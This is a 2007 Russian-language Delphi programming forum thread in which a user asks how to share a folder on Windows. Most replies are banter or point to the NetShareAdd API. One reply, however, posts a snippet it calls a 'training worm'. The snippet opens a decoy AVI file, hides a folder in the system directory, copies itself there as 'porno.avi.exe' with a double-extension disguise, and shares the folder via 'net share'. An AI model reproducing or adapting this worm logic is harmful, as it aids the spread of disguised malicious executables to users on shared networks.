Скачать: CL | DM;

Установка общего доступа к папкам   Найти похожие ветки 

← →
йцукенг   (2007-05-11 13:04) [0]

Кто знает как сделать Shared какую нибудь папку? Заранее спасибо.

---

← →
Anatoly Podgoretsky ©   (2007-05-11 13:38) [1]

> йцукенг  (11.05.2007 13:04:00)  [0]

Зачем тебе знать, кто это
знает. Допустим Вася
Пупкин знает, тебе стало
легче?

---

← →
Iv_ ©   (2007-05-11 15:09) [2]

вот тебе кусок кода из простого тренировочного червячка :)))
begin
 // создаем оводку глаз
 assignfile(t,"c:\p.avi");
 rewrite(t);
 closefile(t);
 // запускаем плеер ассоциированный с avi файлами
 shellexecute(Application.Handle, nil, "c:\p.avi", nil, nil, SW_SHOW);
 //если не админ то дальше делать нечего :)
 if not isAdmin then exit;
 //создаем папку prn_ в папке винды
 GetSystemDirectory(sdir, sizeof(sdir));
 createdir(sdir+"\prn_");
 //устанавливаем ее атрибуты
 winexec(pchar("attrib +h +s +a +r "+sdir+"\prn_"),0);
 //копируем себя в эту папку
 copyfile(pchar(Application.ExeName),pchar(sdir+"\prn_\porno.avi.exe"), false);
 //и расшариваем :) все просто как огурец
 winexec(pchar("net share porno="+sdir+"\prn_"),0);
 //дохнем
 halt;
end.

---

← →
Iv_ ©   (2007-05-11 15:10) [3]

как видишь тут это делается через командную строку :)

---

← →
йцукенг   (2007-05-12 15:33) [4]

> Anatoly Podgoretsky ©   (11.05.07 13:38) [1]


> Зачем тебе знать, кто это
> знает. Допустим Вася
> Пупкин знает, тебе стало
> легче?

Ни х.... Вася Пупкин не знает. Если бы знал, тогда бы написал.

---

← →
Kedge ©   (2007-05-12 16:34) [5]

> [4] йцукенг   (12.05.07 15:33)
>Ни х.... Вася Пупкин не знает. Если бы знал, тогда бы написал.
Вася Пупкин - уважаемый человек, который много чего знает.
Просто, желание отвечать у него возникает далеко не всем.

---

← →
P   (2007-05-12 16:42) [6]

>
> йцукенг   (11.05.07 13:04)
>
> Кто знает как сделать Shared какую нибудь папку? Заранее
> спасибо.


NetShareAdd
The NetShareAdd function shares a server resource.

и MSDN

---

Страницы: 1 вся ветка

Скачать: CL | DM;



Память: 0.46 MB
Время: 0.015 c